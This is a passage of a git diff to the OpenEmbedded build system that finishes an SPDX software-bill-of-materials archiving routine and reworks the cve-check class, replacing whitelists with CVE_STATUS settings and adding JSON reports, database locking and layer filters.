+ pkg_spdx_path = oe.sbom.doc_find_by_hashfn(deploy_dir_spdx, package_archs, pkg_name, pkg_hashfn)
+ if not pkg_spdx_path:
+ bb.fatal("No SPDX file found for package %s, %s" % (pkg_name, pkg_hashfn))
+
+ pkg_doc, pkg_doc_sha1 = oe.sbom.read_doc(pkg_spdx_path)
+
+ for p in pkg_doc.packages:
+ if p.name == name:
+ pkg_ref = oe.spdx.SPDXExternalDocumentRef()
+ pkg_ref.externalDocumentId = "DocumentRef-%s" % pkg_doc.name
+ pkg_ref.spdxDocument = pkg_doc.documentNamespace
+ pkg_ref.checksum.algorithm = "SHA1"
+ pkg_ref.checksum.checksumValue = pkg_doc_sha1
+
+ doc.externalDocumentRefs.append(pkg_ref)
+ doc.add_relationship(image, "CONTAINS", "%s:%s" % (pkg_ref.externalDocumentId, p.SPDXID))
+ break
+ else:
+ bb.fatal("Unable to find package with name '%s' in SPDX file %s" % (name, pkg_spdx_path))
+
+ runtime_spdx_path = oe.sbom.doc_find_by_hashfn(deploy_dir_spdx, package_archs, "runtime-" + name, pkg_hashfn)
+ if not runtime_spdx_path:
+ bb.fatal("No runtime SPDX document found for %s, %s" % (name, pkg_hashfn))
+
+ runtime_doc, runtime_doc_sha1 = oe.sbom.read_doc(runtime_spdx_path)
+
+ runtime_ref = oe.spdx.SPDXExternalDocumentRef()
+ runtime_ref.externalDocumentId = "DocumentRef-%s" % runtime_doc.name
+ runtime_ref.spdxDocument = runtime_doc.documentNamespace
+ runtime_ref.checksum.algorithm = "SHA1"
+ runtime_ref.checksum.checksumValue = runtime_doc_sha1
+
+ # "OTHER" isn't ideal here, but I can't find a relationship that makes sense
+ doc.externalDocumentRefs.append(runtime_ref)
+ doc.add_relationship(
+ image,
+ "OTHER",
+ "%s:%s" % (runtime_ref.externalDocumentId, runtime_doc.SPDXID),
+ comment="Runtime dependencies for %s" % name
+ )
+ bb.utils.mkdirhier(spdx_workdir)
+ image_spdx_path = spdx_workdir / (rootfs_name + ".spdx.json")
+
+ with image_spdx_path.open("wb") as f:
+ doc.to_json(f, sort_keys=True, indent=get_json_indent(d))
+
+ num_threads = int(d.getVar("BB_NUMBER_THREADS"))
+
+ visited_docs = set()
+
+ index = {"documents": []}
+
+ spdx_tar_path = rootfs_deploydir / (rootfs_name + ".spdx.tar.zst")
+ with bb.compress.zstd.open(spdx_tar_path, "w", num_threads=num_threads) as f:
+ with tarfile.open(fileobj=f, mode="w|") as tar:
+ def collect_spdx_document(path):
+ nonlocal tar
+ nonlocal deploy_dir_spdx
+ nonlocal source_date_epoch
+ nonlocal index
+
+ if path in visited_docs:
+ return
+
+ visited_docs.add(path)
+
+ with path.open("rb") as f:
+ doc, sha1 = oe.sbom.read_doc(f)
+ f.seek(0)
+
+ if doc.documentNamespace in visited_docs:
+ return
+
+ bb.note("Adding SPDX document %s" % path)
+ visited_docs.add(doc.documentNamespace)
+ info = tar.gettarinfo(fileobj=f)
+
+ info.name = doc.name + ".spdx.json"
+ info.uid = 0
+ info.gid = 0
+ info.uname = "root"
+ info.gname = "root"
+
+ if source_date_epoch is not None and info.mtime > int(source_date_epoch):
+ info.mtime = int(source_date_epoch)
+
+ tar.addfile(info, f)
+
+ index["documents"].append({
+ "filename": info.name,
+ "documentNamespace": doc.documentNamespace,
+ "sha1": sha1,
+ })
+
+ for ref in doc.externalDocumentRefs:
+ ref_path = oe.sbom.doc_find_by_namespace(deploy_dir_spdx, package_archs, ref.spdxDocument)
+ if not ref_path:
+ bb.fatal("Cannot find any SPDX file for document %s" % ref.spdxDocument)
+ collect_spdx_document(ref_path)
+
+ collect_spdx_document(image_spdx_path)
+
+ index["documents"].sort(key=lambda x: x["filename"])
+
+ index_str = io.BytesIO(json.dumps(
+ index,
+ sort_keys=True,
+ indent=get_json_indent(d),
+ ).encode("utf-8"))
+
+ info = tarfile.TarInfo()
+ info.name = "index.json"
+ info.size = len(index_str.getvalue())
+ info.uid = 0
+ info.gid = 0
+ info.uname = "root"
+ info.gname = "root"
+
+ tar.addfile(info, fileobj=index_str)
+
+combine_spdx[vardepsexclude] += "BB_NUMBER_THREADS SSTATE_ARCHS"
diff --git a/meta/classes/create-spdx.bbclass b/meta/classes/create-spdx.bbclass
new file mode 100644
index 0000000000..19c6c0ff0b
--- /dev/null
+++ b/meta/classes/create-spdx.bbclass
@@ -0,0 +1,8 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+# Include this class when you don't care what version of SPDX you get; it will
+# be updated to the latest stable version that is supported
+inherit create-spdx-2.2
diff --git a/meta/classes/cve-check.bbclass b/meta/classes/cve-check.bbclass
index 0889e7544a..56ba8bceef 100644
--- a/meta/classes/cve-check.bbclass
+++ b/meta/classes/cve-check.bbclass
@@ -1,3 +1,9 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
# This class is used to check recipes against public CVEs.
#
# In order to use this class just inherit the class in the
@@ -20,38 +26,129 @@
# the only method to check against CVEs. Running this tool
# doesn't guarantee your packages are free of CVEs.
-# The product name that the CVE database uses. Defaults to BPN, but may need to
+# The product name that the CVE database uses defaults to BPN, but may need to
# be overriden per recipe (for example tiff.bb sets CVE_PRODUCT=libtiff).
CVE_PRODUCT ??= "${BPN}"
CVE_VERSION ??= "${PV}"
CVE_CHECK_DB_DIR ?= "${DL_DIR}/CVE_CHECK"
-CVE_CHECK_DB_FILE ?= "${CVE_CHECK_DB_DIR}/nvdcve_1.1.db"
+CVE_CHECK_DB_FILE ?= "${CVE_CHECK_DB_DIR}/nvdcve_2-1.db"
+CVE_CHECK_DB_FILE_LOCK ?= "${CVE_CHECK_DB_FILE}.lock"
CVE_CHECK_LOG ?= "${T}/cve.log"
CVE_CHECK_TMP_FILE ?= "${TMPDIR}/cve_check"
CVE_CHECK_SUMMARY_DIR ?= "${LOG_DIR}/cve"
CVE_CHECK_SUMMARY_FILE_NAME ?= "cve-summary"
CVE_CHECK_SUMMARY_FILE ?= "${CVE_CHECK_SUMMARY_DIR}/${CVE_CHECK_SUMMARY_FILE_NAME}"
+CVE_CHECK_SUMMARY_FILE_NAME_JSON = "cve-summary.json"
+CVE_CHECK_SUMMARY_INDEX_PATH = "${CVE_CHECK_SUMMARY_DIR}/cve-summary-index.txt"
+
+CVE_CHECK_LOG_JSON ?= "${T}/cve.json"
CVE_CHECK_DIR ??= "${DEPLOY_DIR}/cve"
-CVE_CHECK_MANIFEST ?= "${DEPLOY_DIR_IMAGE}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.cve"
+CVE_CHECK_RECIPE_FILE ?= "${CVE_CHECK_DIR}/${PN}"
+CVE_CHECK_RECIPE_FILE_JSON ?= "${CVE_CHECK_DIR}/${PN}_cve.json"
+CVE_CHECK_MANIFEST ?= "${IMGDEPLOYDIR}/${IMAGE_NAME}.cve"
+CVE_CHECK_MANIFEST_JSON ?= "${IMGDEPLOYDIR}/${IMAGE_NAME}.json"
CVE_CHECK_COPY_FILES ??= "1"
CVE_CHECK_CREATE_MANIFEST ??= "1"
-# Whitelist for packages (PN)
-CVE_CHECK_PN_WHITELIST ?= ""
+# Report Patched or Ignored CVEs
+CVE_CHECK_REPORT_PATCHED ??= "1"
+
+CVE_CHECK_SHOW_WARNINGS ??= "1"
+
+# Provide text output
+CVE_CHECK_FORMAT_TEXT ??= "1"
-# Whitelist for CVE. If a CVE is found, then it is considered patched.
-# The value is a string containing space separated CVE values:
-#
-# CVE_CHECK_WHITELIST = 'CVE-2014-2524 CVE-2018-1234'
-#
-CVE_CHECK_WHITELIST ?= ""
+# Provide JSON output
+CVE_CHECK_FORMAT_JSON ??= "1"
+
+# Check for packages without CVEs (no issues or missing product name)
+CVE_CHECK_COVERAGE ??= "1"
+
+# Skip CVE Check for packages (PN)
+CVE_CHECK_SKIP_RECIPE ?= ""
+
+# Replace NVD DB check status for a given CVE. Each of CVE has to be mentioned
+# separately with optional detail and description for this status.
+#
+# CVE_STATUS[CVE-1234-0001] = "not-applicable-platform: Issue only applies on Windows"
+# CVE_STATUS[CVE-1234-0002] = "fixed-version: Fixed externally"
+#
+# Settings the same status and reason for multiple CVEs is possible
+# via CVE_STATUS_GROUPS variable.
+#
+# CVE_STATUS_GROUPS = "CVE_STATUS_WIN CVE_STATUS_PATCHED"
+#
+# CVE_STATUS_WIN = "CVE-1234-0001 CVE-1234-0003"
+# CVE_STATUS_WIN[status] = "not-applicable-platform: Issue only applies on Windows"
+# CVE_STATUS_PATCHED = "CVE-1234-0002 CVE-1234-0004"
+# CVE_STATUS_PATCHED[status] = "fixed-version: Fixed externally"
+#
+# All possible CVE statuses could be found in cve-check-map.conf
+# CVE_CHECK_STATUSMAP[not-applicable-platform] = "Ignored"
+# CVE_CHECK_STATUSMAP[fixed-version] = "Patched"
+#
+# CVE_CHECK_IGNORE is deprecated and CVE_STATUS has to be used instead.
+# Keep CVE_CHECK_IGNORE until other layers migrate to new variables
+CVE_CHECK_IGNORE ?= ""
+
+# Layers to be excluded
+CVE_CHECK_LAYER_EXCLUDELIST ??= ""
+
+# Layers to be included
+CVE_CHECK_LAYER_INCLUDELIST ??= ""
+
+
+# set to "alphabetical" for version using single alphabetical character as increment release
+CVE_VERSION_SUFFIX ??= ""
+
+python () {
+ # Fallback all CVEs from CVE_CHECK_IGNORE to CVE_STATUS
+ cve_check_ignore = d.getVar("CVE_CHECK_IGNORE")
+ if cve_check_ignore:
+ bb.warn("CVE_CHECK_IGNORE is deprecated in favor of CVE_STATUS")
+ for cve in (d.getVar("CVE_CHECK_IGNORE") or "").split():
+ d.setVarFlag("CVE_STATUS", cve, "ignored")
+
+ # Process CVE_STATUS_GROUPS to set multiple statuses and optional detail or description at once
+ for cve_status_group in (d.getVar("CVE_STATUS_GROUPS") or "").split():
+ cve_group = d.getVar(cve_status_group)
+ if cve_group is not None:
+ for cve in cve_group.split():
+ d.setVarFlag("CVE_STATUS", cve, d.getVarFlag(cve_status_group, "status"))
+ else:
+ bb.warn("CVE_STATUS_GROUPS contains undefined variable %s" % cve_status_group)
+}
+
+def generate_json_report(d, out_path, link_path):
+ if os.path.exists(d.getVar("CVE_CHECK_SUMMARY_INDEX_PATH")):
+ import json
+ from oe.cve_check import cve_check_merge_jsons, update_symlinks
+
+ bb.note("Generating JSON CVE summary")
+ index_file = d.getVar("CVE_CHECK_SUMMARY_INDEX_PATH")
+ summary = {"version":"1", "package": []}
+ with open(index_file) as f:
+ filename = f.readline()
+ while filename:
+ with open(filename.rstrip()) as j:
+ data = json.load(j)
+ cve_check_merge_jsons(summary, data)
+ filename = f.readline()
+
+ summary["package"].sort(key=lambda d: d['name'])
+
+ with open(out_path, "w") as f:
+ json.dump(summary, f, indent=2)
+
+ update_symlinks(out_path, link_path)
python cve_save_summary_handler () {
import shutil
import datetime
+ from oe.cve_check import update_symlinks
cve_tmp_file = d.getVar("CVE_CHECK_TMP_FILE")
@@ -62,14 +159,17 @@ python cve_save_summary_handler () {
timestamp = datetime.datetime.now().strftime('%Y%m%d%H%M%S')
cve_summary_file = os.path.join(cvelogpath, "%s-%s.txt" % (cve_summary_name, timestamp))
- shutil.copyfile(cve_tmp_file, cve_summary_file)
-
- if cve_summary_file and os.path.exists(cve_summary_file):
+ if os.path.exists(cve_tmp_file):
+ shutil.copyfile(cve_tmp_file, cve_summary_file)
cvefile_link = os.path.join(cvelogpath, cve_summary_name)
-
- if os.path.exists(os.path.realpath(cvefile_link)):
- os.remove(cvefile_link)
- os.symlink(os.path.basename(cve_summary_file), cvefile_link)
+ update_symlinks(cve_summary_file, cvefile_link)
+ bb.plain("Complete CVE report summary created at: %s" % cvefile_link)
+
+ if d.getVar("CVE_CHECK_FORMAT_JSON") == "1":
+ json_summary_link_name = os.path.join(cvelogpath, d.getVar("CVE_CHECK_SUMMARY_FILE_NAME_JSON"))
+ json_summary_name = os.path.join(cvelogpath, "%s-%s.json" % (cve_summary_name, timestamp))
+ generate_json_report(d, json_summary_name, json_summary_link_name)
+ bb.plain("Complete CVE JSON report summary created at: %s" % json_summary_link_name)
}
addhandler cve_save_summary_handler
@@ -79,23 +179,25 @@ python do_cve_check () {
"""
Check recipe for patched and unpatched CVEs
"""
+ from oe.cve_check import get_patched_cves
- if os.path.exists(d.getVar("CVE_CHECK_DB_FILE")):
- try:
- patched_cves = get_patches_cves(d)
- except FileNotFoundError:
- bb.fatal("Failure in searching patches")
- whitelisted, patched, unpatched = check_cves(d, patched_cves)
- if patched or unpatched:
- cve_data = get_cve_info(d, patched + unpatched)
- cve_write_data(d, patched, unpatched, whitelisted, cve_data)
- else:
- bb.note("No CVE database found, skipping CVE check")
+ with bb.utils.fileslocked([d.getVar("CVE_CHECK_DB_FILE_LOCK")], shared=True):
+ if os.path.exists(d.getVar("CVE_CHECK_DB_FILE")):
+ try:
+ patched_cves = get_patched_cves(d)
+ except FileNotFoundError:
+ bb.fatal("Failure in searching patches")
+ ignored, patched, unpatched, status = check_cves(d, patched_cves)
+ if patched or unpatched or (d.getVar("CVE_CHECK_COVERAGE") == "1" and status):
+ cve_data = get_cve_info(d, patched + unpatched + ignored)
+ cve_write_data(d, patched, unpatched, ignored, cve_data, status)
+ else:
+ bb.note("No CVE database found, skipping CVE check")
}
-addtask cve_check before do_build after do_fetch
-do_cve_check[depends] = "cve-update-db-native:do_populate_cve_db"
+addtask cve_check before do_build
+do_cve_check[depends] = "cve-update-nvd2-native:do_fetch"
do_cve_check[nostamp] = "1"
python cve_check_cleanup () {
@@ -103,10 +205,11 @@ python cve_check_cleanup () {
Delete the file used to gather all the CVE information.
"""
bb.utils.remove(e.data.getVar("CVE_CHECK_TMP_FILE"))
+ bb.utils.remove(e.data.getVar("CVE_CHECK_SUMMARY_INDEX_PATH"))
}
addhandler cve_check_cleanup
-cve_check_cleanup[eventmask] = "bb.cooker.CookerExit"
+cve_check_cleanup[eventmask] = "bb.event.BuildCompleted"
python cve_check_write_rootfs_manifest () {
"""
@@ -114,112 +217,113 @@ python cve_check_write_rootfs_manifest () {
"""
import shutil
+ import json
+ from oe.rootfs import image_list_installed_packages
+ from oe.cve_check import cve_check_merge_jsons, update_symlinks
if d.getVar("CVE_CHECK_COPY_FILES") == "1":
- deploy_file = os.path.join(d.getVar("CVE_CHECK_DIR"), d.getVar("PN"))
+ deploy_file = d.getVar("CVE_CHECK_RECIPE_FILE")
if os.path.exists(deploy_file):
bb.utils.remove(deploy_file)
-
- if os.path.exists(d.getVar("CVE_CHECK_TMP_FILE")):
- bb.note("Writing rootfs CVE manifest")
- deploy_dir = d.getVar("DEPLOY_DIR_IMAGE")
- link_name = d.getVar("IMAGE_LINK_NAME")
+ deploy_file_json = d.getVar("CVE_CHECK_RECIPE_FILE_JSON")
+ if os.path.exists(deploy_file_json):
+ bb.utils.remove(deploy_file_json)
+
+ # Create a list of relevant recipies
+ recipies = set()
+ for pkg in list(image_list_installed_packages(d)):
+ pkg_info = os.path.join(d.getVar('PKGDATA_DIR'),
+ 'runtime-reverse', pkg)
+ pkg_data = oe.packagedata.read_pkgdatafile(pkg_info)
+ recipies.add(pkg_data["PN"])
+
+ bb.note("Writing rootfs CVE manifest")
+ deploy_dir = d.getVar("IMGDEPLOYDIR")
+ link_name = d.getVar("IMAGE_LINK_NAME")
+
+ json_data = {"version":"1", "package": []}
+ text_data = ""
+ enable_json = d.getVar("CVE_CHECK_FORMAT_JSON") == "1"
+ enable_text = d.getVar("CVE_CHECK_FORMAT_TEXT") == "1"
+
+ save_pn = d.getVar("PN")
+
+ for pkg in recipies:
+ # To be able to use the CVE_CHECK_RECIPE_FILE variable we have to evaluate
+ # it with the different PN names set each time.
+ d.setVar("PN", pkg)
+ if enable_text:
+ pkgfilepath = d.getVar("CVE_CHECK_RECIPE_FILE")
+ if os.path.exists(pkgfilepath):
+ with open(pkgfilepath) as pfile:
+ text_data += pfile.read()
+
+ if enable_json:
+ pkgfilepath = d.getVar("CVE_CHECK_RECIPE_FILE_JSON")
+ if os.path.exists(pkgfilepath):
+ with open(pkgfilepath) as j:
+ data = json.load(j)
+ cve_check_merge_jsons(json_data, data)
+
+ d.setVar("PN", save_pn)
+
+ if enable_text:
+ link_path = os.path.join(deploy_dir, "%s.cve" % link_name)
manifest_name = d.getVar("CVE_CHECK_MANIFEST")
- cve_tmp_file = d.getVar("CVE_CHECK_TMP_FILE")
-
- shutil.copyfile(cve_tmp_file, manifest_name)
-
- if manifest_name and os.path.exists(manifest_name):
- manifest_link = os.path.join(deploy_dir, "%s.cve" % link_name)
- # If we already have another manifest, update symlinks
- if os.path.exists(os.path.realpath(manifest_link)):
- os.remove(manifest_link)
- os.symlink(os.path.basename(manifest_name), manifest_link)
- bb.plain("Image CVE report stored in: %s" % manifest_name)
-}
-ROOTFS_POSTPROCESS_COMMAND_prepend = "${@'cve_check_write_rootfs_manifest; ' if d.getVar('CVE_CHECK_CREATE_MANIFEST') == '1' else ''}"
-do_rootfs[recrdeptask] += "${@'do_cve_check' if d.getVar('CVE_CHECK_CREATE_MANIFEST') == '1' else ''}"
+ with open(manifest_name, "w") as f:
+ f.write(text_data)
-def get_patches_cves(d):
- """
- Get patches that solve CVEs using the "CVE: " tag.
- """
+ update_symlinks(manifest_name, link_path)
+ bb.plain("Image CVE report stored in: %s" % manifest_name)
- import re
+ if enable_json:
+ link_path = os.path.join(deploy_dir, "%s.json" % link_name)
+ manifest_name = d.getVar("CVE_CHECK_MANIFEST_JSON")
- pn = d.getVar("PN")
- cve_match = re.compile("CVE:( CVE\-\d{4}\-\d+)+")
-
- # Matches last CVE-1234-211432 in the file name, also if written
- # with small letters. Not supporting multiple CVE id's in a single
- # file name.
- cve_file_name_match = re.compile(".*([Cc][Vv][Ee]\-\d{4}\-\d+)")
-
- patched_cves = set()
- bb.debug(2, "Looking for patches that solves CVEs for %s" % pn)
- for url in src_patches(d):
- patch_file = bb.fetch.decodeurl(url)[2]
-
- if not os.path.isfile(patch_file):
- bb.error("File Not found: %s" % patch_file)
- raise FileNotFoundError
-
- # Check patch file name for CVE ID
- fname_match = cve_file_name_match.search(patch_file)
- if fname_match:
- cve = fname_match.group(1).upper()
- patched_cves.add(cve)
- bb.debug(2, "Found CVE %s from patch file name %s" % (cve, patch_file))
-
- with open(patch_file, "r", encoding="utf-8") as f:
- try:
- patch_text = f.read()
- except UnicodeDecodeError:
- bb.debug(1, "Failed to read patch %s using UTF-8 encoding"
- " trying with iso8859-1" % patch_file)
- f.close()
- with open(patch_file, "r", encoding="iso8859-1") as f:
- patch_text = f.read()
-
- # Search for one or more "CVE: " lines
- text_match = False
- for match in cve_match.finditer(patch_text):
- # Get only the CVEs without the "CVE: " tag
- cves = patch_text[match.start()+5:match.end()]
- for cve in cves.split():
- bb.debug(2, "Patch %s solves %s" % (patch_file, cve))
- patched_cves.add(cve)
- text_match = True
+ with open(manifest_name, "w") as f:
+ json.dump(json_data, f, indent=2)
- if not fname_match and not text_match:
- bb.debug(2, "Patch %s doesn't solve CVEs" % patch_file)
+ update_symlinks(manifest_name, link_path)
+ bb.plain("Image CVE JSON report stored in: %s" % manifest_name)
+}
- return patched_cves
+ROOTFS_POSTPROCESS_COMMAND:prepend = "${@'cve_check_write_rootfs_manifest ' if d.getVar('CVE_CHECK_CREATE_MANIFEST') == '1' else ''}"
+do_rootfs[recrdeptask] += "${@'do_cve_check' if d.getVar('CVE_CHECK_CREATE_MANIFEST') == '1' else ''}"
+do_populate_sdk[recrdeptask] += "${@'do_cve_check' if d.getVar('CVE_CHECK_CREATE_MANIFEST') == '1' else ''}"
def check_cves(d, patched_cves):
"""
Connect to the NVD database and find unpatched cves.
"""
- from distutils.version import LooseVersion
+ from oe.cve_check import Version, convert_cve_version, decode_cve_status
+
+ pn = d.getVar("PN")
+ real_pv = d.getVar("PV")
+ suffix = d.getVar("CVE_VERSION_SUFFIX")
cves_unpatched = []
+ cves_ignored = []
+ cves_status = []
+ cves_in_recipe = False
# CVE_PRODUCT can contain more than one product (eg. curl/libcurl)
products = d.getVar("CVE_PRODUCT").split()
# If this has been unset then we're not scanning for CVEs here (for example, image recipes)
if not products:
- return ([], [], [])
+ return ([], [], [], [])
pv = d.getVar("CVE_VERSION").split("+git")[0]
- # If the recipe has been whitlisted we return empty lists
- if d.getVar("PN") in d.getVar("CVE_CHECK_PN_WHITELIST").split():
- bb.note("Recipe has been whitelisted, skipping check")
- return ([], [], [])
+ # If the recipe has been skipped/ignored we return empty lists
+ if pn in d.getVar("CVE_CHECK_SKIP_RECIPE").split():
+ bb.note("Recipe has been skipped by cve-check")
+ return ([], [], [], [])
- old_cve_whitelist = d.getVar("CVE_CHECK_CVE_WHITELIST")
- if old_cve_whitelist:
- bb.warn("CVE_CHECK_CVE_WHITELIST is deprecated, please use CVE_CHECK_WHITELIST.")
- cve_whitelist = d.getVar("CVE_CHECK_WHITELIST").split()
+ # Convert CVE_STATUS into ignored CVEs and check validity
+ cve_ignore = []
+ for cve in (d.getVarFlags("CVE_STATUS") or {}):
+ decoded_status, _, _ = decode_cve_status(d, cve)
+ if decoded_status == "Ignored":
+ cve_ignore.append(cve)
import sqlite3
db_file = d.expand("file:${CVE_CHECK_DB_FILE}?mode=ro")
@@ -227,36 +331,50 @@ def check_cves(d, patched_cves):
# For each of the known product names (e.g. curl has CPEs using curl and libcurl)...
for product in products:
+ cves_in_product = False
if ":" in product:
vendor, product = product.split(":", 1)
else:
vendor = "%"
# Find all relevant CVE IDs.
- for cverow in conn.execute("SELECT DISTINCT ID FROM PRODUCTS WHERE PRODUCT IS ? AND VENDOR LIKE ?", (product, vendor)):
+ cve_cursor = conn.execute("SELECT DISTINCT ID FROM PRODUCTS WHERE PRODUCT IS ? AND VENDOR LIKE ?", (product, vendor))
+ for cverow in cve_cursor:
cve = cverow[0]
- if cve in cve_whitelist:
- bb.note("%s-%s has been whitelisted for %s" % (product, pv, cve))
- # TODO: this should be in the report as 'whitelisted'
- patched_cves.add(cve)
+ if cve in cve_ignore:
+ bb.note("%s-%s ignores %s" % (product, pv, cve))
+ cves_ignored.append(cve)
continue
elif cve in patched_cves:
bb.note("%s has been patched" % (cve))
continue
+ # Write status once only for each product
+ if not cves_in_product:
+ cves_status.append([product, True])
+ cves_in_product = True
+ cves_in_recipe = True
vulnerable = False
- for row in conn.execute("SELECT * FROM PRODUCTS WHERE ID IS ? AND PRODUCT IS ? AND VENDOR LIKE ?", (cve, product, vendor)):
+ ignored = False
+
+ product_cursor = conn.execute("SELECT * FROM PRODUCTS WHERE ID IS ? AND PRODUCT IS ? AND VENDOR LIKE ?", (cve, product, vendor))
+ for row in product_cursor:
(_, _, _, version_start, operator_start, version_end, operator_end) = row
#bb.debug(2, "Evaluating row " + str(row))
+ if cve in cve_ignore:
+ ignored = True
+
+ version_start = convert_cve_version(version_start)
+ version_end = convert_cve_version(version_end)
if (operator_start == '=' and pv == version_start) or version_start == '-':
vulnerable = True
else:
if operator_start:
try:
- vulnerable_start = (operator_start == '>=' and LooseVersion(pv) >= LooseVersion(version_start))
- vulnerable_start |= (operator_start == '>' and LooseVersion(pv) > LooseVersion(version_start))
+ vulnerable_start = (operator_start == '>=' and Version(pv,suffix) >= Version(version_start,suffix))
+ vulnerable_start |= (operator_start == '>' and Version(pv,suffix) > Version(version_start,suffix))
except:
bb.warn("%s: Failed to compare %s %s %s for %s" %
(product, pv, operator_start, version_start, cve))
@@ -266,8 +384,8 @@ def check_cves(d, patched_cves):
if operator_end:
try:
- vulnerable_end = (operator_end == '<=' and LooseVersion(pv) <= LooseVersion(version_end))
- vulnerable_end |= (operator_end == '<' and LooseVersion(pv) < LooseVersion(version_end))
+ vulnerable_end = (operator_end == '<=' and Version(pv,suffix) <= Version(version_end,suffix) )
+ vulnerable_end |= (operator_end == '<' and Version(pv,suffix) < Version(version_end,suffix) )
except:
bb.warn("%s: Failed to compare %s %s %s for %s" %
(product, pv, operator_end, version_end, cve))
@@ -281,18 +399,33 @@ def check_cves(d, patched_cves):
vulnerable = vulnerable_start or vulnerable_end
if vulnerable:
- bb.note("%s-%s is vulnerable to %s" % (product, pv, cve))
- cves_unpatched.append(cve)
+ if ignored:
+ bb.note("%s is ignored in %s-%s" % (cve, pn, real_pv))
+ cves_ignored.append(cve)
+ else:
+ bb.note("%s-%s is vulnerable to %s" % (pn, real_pv, cve))
+ cves_unpatched.append(cve)
break
+ product_cursor.close()
if not vulnerable:
- bb.note("%s-%s is not vulnerable to %s" % (product, pv, cve))
- # TODO: not patched but not vulnerable
+ bb.note("%s-%s is not vulnerable to %s" % (pn, real_pv, cve))
patched_cves.add(cve)
+ cve_cursor.close()
+
+ if not cves_in_product:
+ bb.note("No CVE records found for product %s, pn %s" % (product, pn))
+ cves_status.append([product, False])
conn.close()
+ diff_ignore = list(set(cve_ignore) - set(cves_ignored))
+ if diff_ignore:
+ oe.qa.handle_error("cve_status_not_in_db", "Found CVE (%s) with CVE_STATUS set that are not found in database for this component" % " ".join(diff_ignore), d)
- return (list(cve_whitelist), list(patched_cves), cves_unpatched)
+ if not cves_in_recipe:
+ bb.note("No CVE records for products in recipe %s" % (pn))
+
+ return (list(cves_ignored), list(patched_cves), cves_unpatched, cves_status)
def get_cve_info(d, cves):
"""
@@ -302,50 +435,88 @@ def get_cve_info(d, cves):
import sqlite3
cve_data = {}
- conn = sqlite3.connect(d.getVar("CVE_CHECK_DB_FILE"))
+ db_file = d.expand("file:${CVE_CHECK_DB_FILE}?mode=ro")
+ conn = sqlite3.connect(db_file, uri=True)
for cve in cves:
- for row in conn.execute("SELECT * FROM NVD WHERE ID IS ?", (cve,)):
+ cursor = conn.execute("SELECT * FROM NVD WHERE ID IS ?", (cve,))
+ for row in cursor:
cve_data[row[0]] = {}
cve_data[row[0]]["summary"] = row[1]
cve_data[row[0]]["scorev2"] = row[2]
cve_data[row[0]]["scorev3"] = row[3]
cve_data[row[0]]["modified"] = row[4]
cve_data[row[0]]["vector"] = row[5]
-
+ cve_data[row[0]]["vectorString"] = row[6]
+ cursor.close()
conn.close()
return cve_data
-def cve_write_data(d, patched, unpatched, whitelisted, cve_data):
+def cve_write_data_text(d, patched, unpatched, ignored, cve_data):
"""
Write CVE information in WORKDIR; and to CVE_CHECK_DIR, and
CVE manifest if enabled.
"""
+ from oe.cve_check import decode_cve_status
+
cve_file = d.getVar("CVE_CHECK_LOG")
- nvd_link = "https://web.nvd.nist.gov/view/vuln/detail?vulnId="
+ fdir_name = d.getVar("FILE_DIRNAME")
+ layer = fdir_name.split("/")[-3]
+
+ include_layers = d.getVar("CVE_CHECK_LAYER_INCLUDELIST").split()
+ exclude_layers = d.getVar("CVE_CHECK_LAYER_EXCLUDELIST").split()
+
+ report_all = d.getVar("CVE_CHECK_REPORT_PATCHED") == "1"
+
+ if exclude_layers and layer in exclude_layers:
+ return
+
+ if include_layers and layer not in include_layers:
+ return
+
+ # Early exit, the text format does not report packages without CVEs
+ if not patched+unpatched+ignored:
+ return
+
+ nvd_link = "https://nvd.nist.gov/vuln/detail/"
write_string = ""
unpatched_cves = []
bb.utils.mkdirhier(os.path.dirname(cve_file))
for cve in sorted(cve_data):
+ is_patched = cve in patched
+ is_ignored = cve in ignored
+
+ status = "Unpatched"
+ if (is_patched or is_ignored) and not report_all:
+ continue
+ if is_ignored:
+ status = "Ignored"
+ elif is_patched:
+ status = "Patched"
+ else:
+ # default value of status is Unpatched
+ unpatched_cves.append(cve)
+
+ write_string += "LAYER: %s\n" % layer
write_string += "PACKAGE NAME: %s\n" % d.getVar("PN")
write_string += "PACKAGE VERSION: %s%s\n" % (d.getVar("EXTENDPE"), d.getVar("PV"))
write_string += "CVE: %s\n" % cve
- if cve in whitelisted:
- write_string += "CVE STATUS: Whitelisted\n"
- elif cve in patched:
- write_string += "CVE STATUS: Patched\n"
- else:
- unpatched_cves.append(cve)
- write_string += "CVE STATUS: Unpatched\n"
+ write_string += "CVE STATUS: %s\n" % status
+ _, detail, description = decode_cve_status(d, cve)
+ if detail:
+ write_string += "CVE DETAIL: %s\n" % detail
+ if description:
+ write_string += "CVE DESCRIPTION: %s\n" % description
write_string += "CVE SUMMARY: %s\n" % cve_data[cve]["summary"]
write_string += "CVSS v2 BASE SCORE: %s\n" % cve_data[cve]["scorev2"]
write_string += "CVSS v3 BASE SCORE: %s\n" % cve_data[cve]["scorev3"]
write_string += "VECTOR: %s\n" % cve_data[cve]["vector"]
+ write_string += "VECTORSTRING: %s\n" % cve_data[cve]["vectorString"]
write_string += "MORE INFORMATION: %s%s\n\n" % (nvd_link, cve)
- if unpatched_cves:
+ if unpatched_cves and d.getVar("CVE_CHECK_SHOW_WARNINGS") == "1":
bb.warn("Found unpatched CVE (%s), for more information check %s" % (" ".join(unpatched_cves),cve_file))
with open(cve_file, "w") as f:
@@ -353,9 +524,8 @@ def cve_write_data(d, patched, unpatched, whitelisted, cve_data):
f.write(write_string)
if d.getVar("CVE_CHECK_COPY_FILES") == "1":
- cve_dir = d.getVar("CVE_CHECK_DIR")
- bb.utils.mkdirhier(cve_dir)
- deploy_file = os.path.join(cve_dir, d.getVar("PN"))
+ deploy_file = d.getVar("CVE_CHECK_RECIPE_FILE")
+ bb.utils.mkdirhier(os.path.dirname(deploy_file))
with open(deploy_file, "w") as f:
f.write(write_string)
@@ -365,3 +535,127 @@ def cve_write_data(d, patched, unpatched, whitelisted, cve_data):
with open(d.getVar("CVE_CHECK_TMP_FILE"), "a") as f:
f.write("%s" % write_string)
+
+def cve_check_write_json_output(d, output, direct_file, deploy_file, manifest_file):
+ """
+ Write CVE information in the JSON format: to WORKDIR; and to
+ CVE_CHECK_DIR, if CVE manifest if enabled, write fragment
+ files that will be assembled at the end in cve_check_write_rootfs_manifest.
+ """
+
